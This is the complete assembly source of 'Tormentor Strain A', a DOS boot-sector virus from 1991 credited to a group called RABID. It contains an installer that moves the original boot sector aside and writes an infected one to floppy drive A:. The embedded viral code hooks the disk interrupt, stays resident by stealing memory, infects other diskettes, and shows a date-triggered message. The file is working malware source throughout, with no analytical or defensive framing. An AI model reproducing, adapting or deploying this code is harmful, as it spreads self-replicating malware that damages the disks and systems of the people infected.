code_seg segment
	 assume cs:code_seg,ds:code_seg
	
	 org 100h

tormentor 	proc	far

@disp	macro	string			
	mov	dx,offset string
	mov	ah,09h
	int	21h
endm

@exit	macro	
	mov	ax,4c00h
	int	21h
endm

@cls	macro	mode
	mov	ah,00h
	mov	al,mode
	int	10h
endm

start:	jmp	main

boot_area dw 	256 dup (0)
boot_sec  dw	512 dup (0)

message	db	"Tormentor Strain A",13,10
	db	"Written by The High Evolutionary",13,10
	db	"Copyright (C) 1991 by The RABID Nat'nl Development Corp."
	db	13,10,13,10
	db	"Press any key to install onto media in drive A:",13,10
	db	"(Or press CTRL-C to abort)$",13,10

paused	db	13,10,13,10
	db	"[Paused] Insert destination disk if desired and press",13,10
	db	"any key, otherwise, press any key$",13,10

done	db	"Done!$",13,10

r_fail	db	13,10,13,10
	db	"Failed to READ in boot sector$",13,10

w_fail	db	13,10,13,10
	db	"Failed to WRITE boot sector$",13,10

f_infec	db	13,10,13,10
	db	"SHIT! We failed to write the virus code to the disk!!!$",13,10

r_boot	db	13,10,13,10
	db	"Now READING in the boot sector$",13,10

w_boot	db	13,10,13,10
	db	"Now WRITING the boot sector to track 719$",13,10

w_vir	db	13,10,13,10
	db	"Now WRITING the VIRUS to the boot sector$",13,10

succ	db	13,10,13,10
	db	"Success! We installed Tormentor onto the drive$",13,10

memerr	db	13,10,13,10
	db	"BOMB! We had a memory allocation error. Bailing out...$",13,10
	db	13,10

read_shit db	13,10,13,10
	db	"Reading in shit via INT 25...$",13,10
	db	13,10

intro	db	"You are in Torment$",13,10

bootseg	dw	?			; Storage segment address or mem. block
					; containing copy of boot record

dssave	dw	?			; Storage for DS register
;dssave dw	seg	group		; Storage for DS register

pspseg	dw	?			; PSP segment storage

;stack	segment para stack 'STACK'	; Code Segment
;stack 	ends

;_data	segment	word public 'DATA'	; Data Segment
;_data	ends

;dgroup	group	data,stack		; Define segment group

;*****************************************************************************
; Boot record information to infect both floppies and hard-drives
;*****************************************************************************

bootrecord	struc
bootjump	db	3 dup (?)	; Initial 3 byte jmp instruction
oemstring	db	8 dup (?)	; OEM version and DOS
sectorbytes	dw	?		; Bytes per sector
clustersec	db	?		; Sectors per cluster
reservedrec	dw	?		; Reserved sectors
fatcopies	db	?		; number of FAT copies
direntries	dw	?		; number of root dir entries
totalsectors	dw	?		; Total disk sectors
mediadescrip	db	?		; Media Descriptor
fatsectors	dw	?		; number of sectors occupied by 1 FAT
tracksectors	dw	?		; number of sectors per track
heads		dw	?		; number of heads
hiddensectors	dw	?		; number of hidden sectors
bootrecord	ends

drive	db	?			; Current drive pointer

memalloc	proc	near

	push	bp			; Save base pointer
	push 	bx			; Save BX
	mov	bp,sp			; init base pointer
	xor	al,al			; Zero out AL	
	mov	ah,48h			; Allocate mem. function
	int	21h
	jnc	end_memalloc		; exit if no error
	mov	word ptr [bp],bx

end_memalloc:
	pop	bx			; Restore BX
	pop	bp			; Restore Base Pointer
	ret	

memalloc	endp

main:

get_default_drive:
	mov	ah,19h
	int	21h
	mov	byte ptr drive,al	; Move current drive into drive


;	mov	ds,dssave		; Initialise DS
;	mov	ax,es			; get PSP address
;	mov	word ptr pspseg,ax	; and save it...

	jmp	read_boot

;	mov	bx,40h			; Allocate 1024 bytes
;	call	memalloc		; Allocate BX block of memory
;	jnc	read_boot
;	@disp	memerr
;	jmp	quit	

read_boot:
	@disp	read_shit
	mov	ah,08h
	int	21h
	mov	word ptr bootseg,ax
	push	ax			; Save AX onto the stack
	mov	al,0
;	mov	al,byte ptr drive	; Move current drive into AL
	xor 	ah,ah			; Zero out AH
;	pop	ds			; Restore Data_seg
	pushf				; Save flags
	mov	dx,0			; Read in sector 0
	mov	cx,1			; Read in 1 sector
	mov	bx,offset boot_sec	; Store data at DS:boot_sec
	int	25h			; Read in the disk
	popf				; clear flags used by flags
	@disp	done
	mov	ah,08h
	int	21h
;	assume	ds:code_seg		; Restore DS
	
begin:	@cls	03
;	mov	ah,00			; Set screen
;	mov	al,03			; Set screen for 80x25 color
;	int	10h			; Call BIOS
	@disp 	message

	mov	ah,08h			; Wait for a keypress
	int	21h
	mov	cx,3

read_sector:
	@disp	r_boot			; Display that we are reading the
					; sector from the disk
	push	cx			; Counter is pushed onto the stack
	mov	ax,201h			; Read in 1 sector
	mov	bx,offset boot_area	; Store it in boot_area
	mov	cx,1			; Set counter to 1
	mov	dx,0			; Set for drive 0, head 0
	int	13h			; Call BIOS
	pop	cx			; Restore counter
	jnc	good_read		; If there were no errors, then
					; jump to good_read
	loop	read_sector		; Jump back and try reading the sector
					; again while CX>0
	@disp 	r_fail
	mov	ax,4c00h		; Exit
	int	21h			; Call DOS

good_read:
	mov	cx,3			; Set counter to 3
	@disp	paused			; Display message for pause
	mov	ah,08h			; Wait for a key
	int	21h			; Call DOS

;*****************************************************************************
; Write good sector to track 719 (Head 1, track 27, sector 9)
;*****************************************************************************

write_sector:
	@disp	w_boot			; Display that we are writing the 
					; sector to disk
	mov	ax,301h			; Set for writing the boot sector
	mov	bx,offset boot_area	; Set buffer to what we read in
;	mov	bx,offset infected_data
	mov	cx,2709h		; Set counter to 2709h
	mov	dx,100h			; Head 1, drive 0	
	int	13h			; Call BIOS
	pop	cx			; Restore the counter
	jnc	good_write		; If we wrote the sectors allright,
					; then jump to good_write
	loop	write_sector
	@disp	w_fail
	mov	ax,4c00h		; Exit
	int	21h			; Call DOS

good_write:
	mov	cx,3			; Copy 3 into CX
	@disp	w_vir
infect_floppy:
	push	cx			; Push it onto the stack
	mov	ax,301h			; Write 1 sector
	mov	bx,offset infected_data ; Write corrupt boot sector to the
					; drive
	mov	cx,1			; Set counter to 1
	mov	dx,0			; Set for drive A:
	int	13h			; Call BIOS
	jnc	good_infection		; If there are no problems, then
					; continue
	loop	infect_floppy		; Otherwise, try again until CX=0
	@disp	f_infec			; If CX=0, then display the message
					; and then exit
	mov	ax,4c00h		; Exit
	int	21h			; Call DOS

good_infection:
	@disp	succ
	mov	ax,4c00h
	int	21h

;*****************************************************************************
; The following is a copy of the infected boot sector to copy to sector 0
;*****************************************************************************

infected_data	db	0EBh, 34h
		nop
		dec	cx
		inc	dx
		dec	bp
		and	[bx+si],ah
		xor	bp,word ptr ds:[33h]
		add	al,[bp+si]
		add	[bx+si],ax
		add	dh,[bx+si+0]
		rol	byte ptr [bp+si],1	; Rotate
		std				; Set direction flag
		add	al,[bx+si]
		or	[bx+si],ax
		add	al,[bx+si]
		db	19 dup (0)
;		db	'Tormentor Strain A - RABID Nat''nl Development Corp.'
		adc	al,[bx+si]
		add	[bx+si],al
		add	[bx+di],al
		add	dl,bh
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	ss,ax
		mov	bx,7C00h		; Pointer to boot segment
		mov	sp,bx
		push	ds
data_14		db	53h
		dec	word ptr ds:[413h]
		int	12h			; Put (memory size)/1K in ax
		mov	cl,6
		shl	ax,cl			; Shift w/zeros fill
		mov	es,ax
		xchg	ax,word ptr ds:[4Eh]
		mov	word ptr ds:[7DABh],ax
		mov	ax,128h
		xchg	ax,word ptr ds:[4Ch]
		mov	word ptr ds:[7DA9h],ax
		mov	ax,es
		xchg	ax,word ptr ds:[66h]
		mov	word ptr ds:[7DAFh],ax
		mov	ax,0BBh
		xchg	ax,word ptr ds:[64h]
		mov	word ptr ds:[7DADh],ax
		xor	di,di			; Zero register
		mov	si,bx
		mov	cx,100h
		cld				; Clear direction
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		sti				; Enable interrupts
		push	es
		mov	ax,85h
		push	ax
		retf
		push	bx
		xor	dl,dl			; Zero register
		call	sub_2			; (00FB)
		pop	bx
		push	ds
		pop	es
		mov	ah,2
		mov	dh,1
		call	sub_6			; (011F)
		jc	loc_2			; Jump if carry Set
		push	cs
		pop	ds
		mov	si,offset ds:[0Bh]
		mov	di,offset ds:[7C0Bh]
		mov	cx,2Bh
		cld				; Clear direction
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jz	loc_ret_3		; Jump if zero
loc_2:
		pop	bx
		pop	ax
		push	cs
		mov	ax,0AFh
		push	ax
  
loc_ret_3:
		retf				; Return far
read_error:
		push	cs
		pop	ds
		mov	si,1DBh
		call	sub_1			; (00DA)
		xor	ah,ah			; Zero register
		int	16h			; Keyboard i/o  ah=function 00h
						; get keybd char in al, ah=scan
		xor	ax,ax			; Zero register
		int	13h			; Disk  dl=drive a  ah=func 00h
						;  reset disk, al=return status
		push	cs
		pop	es
		mov	bx,offset ds:[200h]
		mov	cx,6
		xor	dx,dx			; Zero register
		mov	ax,201h
		int	13h			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
		jc	read_error		; Jump if carry Set
		mov	cx,0FF0h
		mov	ds,cx
		jmp	dword ptr cs:data_16

;
; Insert Tormentor 	endp here...
;
;tormentor	endp

  
;��������������������������������������������������������������������������
;			       SUBROUTINE
;��������������������������������������������������������������������������
  
sub_1		proc	near
loc_5:
		mov	bx,7
		cld				; Clear direction
		lodsb				; String [si] to al
		or	al,al			; Zero ?
		jz	loc_ret_9		; Jump if zero
		jns	loc_6			; Jump if not sign
		xor	al,0D7h
		or	bl,88h
loc_6:
		cmp	al,20h			
		jbe	loc_7			; Jump if below or =
		mov	cx,1
		mov	ah,9			; 
		int	10h			; Video display   ah=functn 09h
						; set char al & attrib bl @curs
loc_7:
		mov	ah,0Eh
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		jmp	short loc_5		; (00DA)
  
;���� External Entry into Subroutine ��������������������������������������
  
sub_2:
		mov	bx,200h
		mov	cx,2
		mov	ah,cl
		call	sub_5			; (011D)
		mov	cx,2709h
		xor	byte ptr es:[bx],0FDh
		jz	loc_8			; Jump if zero
		mov	cx,4F0Fh
loc_8:
		jmp	short loc_ret_9		; (0127)
		nop
  
;���� External Entry into Subroutine ��������������������������������������
  
sub_3:
		mov	ah,2
		mov	bx,200h
  
;���� External Entry into Subroutine ��������������������������������������
  
sub_4:
		mov	cx,1
  
;���� External Entry into Subroutine ��������������������������������������
  
sub_5:
		mov	dh,0
  
;���� External Entry into Subroutine ��������������������������������������
  
sub_6:
		mov	al,1
  
;���� External Entry into Subroutine ��������������������������������������
  
sub_7:
		pushf				; Push flags
		call	dword ptr cs:data_15
  
loc_ret_9:
		retn
sub_1		endp
  
		push	ax
		push	bx
		push	cx
		push	dx
		push	es
		push	ds
		push	si
		push	di
		pushf				; Push flags
		push	cs
		pop	ds
		cmp	dl,1
		ja	loc_11			; Jump if above
		and	ax,0FE00h
		jz	loc_11			; Jump if zero
		xchg	al,ch
		shl	al,1			; Shift w/zeros fill
		add	al,dh
		mov	ah,9
		mul	ah			; ax = reg * al
		add	ax,cx
		sub	al,6
		cmp	ax,6
		ja	loc_11			; Jump if above
		push	cs
		pop	es
		call	sub_3			; (0115)
		jc	loc_10			; Jump if carry Set
		mov	di,offset data_14
		mov	si,offset ds:[243h]
		mov	cx,0Eh
		std				; Set direction flag
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to
						; es:[di]
		jz	loc_11			; Jump if zero
		sub	si,cx
		sub	di,cx
		mov	cl,33h			; '3'
		rep	movsb			; Rep when cx >0 Mov [si] to
						; es:[di]
		call	sub_2			; (00FB)
		push	cx
		push	bx
		call	sub_3			; (0115)
		mov	ah,3
		xor	bx,bx			; Zero register
		call	sub_4			; (011A)
		pop	bx
		pop	cx
		jc	loc_10			; Jump if carry Set
		mov	dh,1
		mov	ah,3
		call	sub_6			; (011F)
loc_10:
		xor	ax,ax			; Zero register
		call	sub_7			; (0121)
loc_11:
		mov	ah,4
		int	1Ah			; Real time clock   ah=func 04h
						; read date cx=year, dx=mon/day
		cmp	dh,9
		jne	not_month		; Jump if not equal
		mov	si,1B1h
		call	sub_1			; (00DA)
not_month:
		popf				; Pop flags
		pop	di
		pop	si
		pop	ds
		pop	es
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		jmp	dword ptr cs:data_15
data_15		dd	0C602EC59h
data_16		dd	0F000E6F2h
		esc	2,ch			; coprocessor escape
		and	[bp+di-4141h],al
		movsb				; Mov [si] to es:[di]
		idiv	word ptr [bp-85Ch]	; ax,dxrem=dx:ax/data
		xchg	ax,si
		mov	si,offset ds:[0B4A5h]
		mov	ax,0DAA7h
		esc	5,[bx+si]		; coprocessor escape
		db	'IO      SYSMSDOS   SYS', 0Dh, 0Ah
		db	'Non-system disk or disk error', 0Dh
		db	0Ah
		add	[bx+si],al
		push	bp
;		jmp	cont

;		db	'Tormentor Strain A - RABID Nat''nl Development Corp.'
		stosb
;cont:		stosb				; Store al to es:[di]
  
tormentor	endp

quit:	mov	ax,4c00h
	int	21h
 
	
	code_seg	ends
end 	start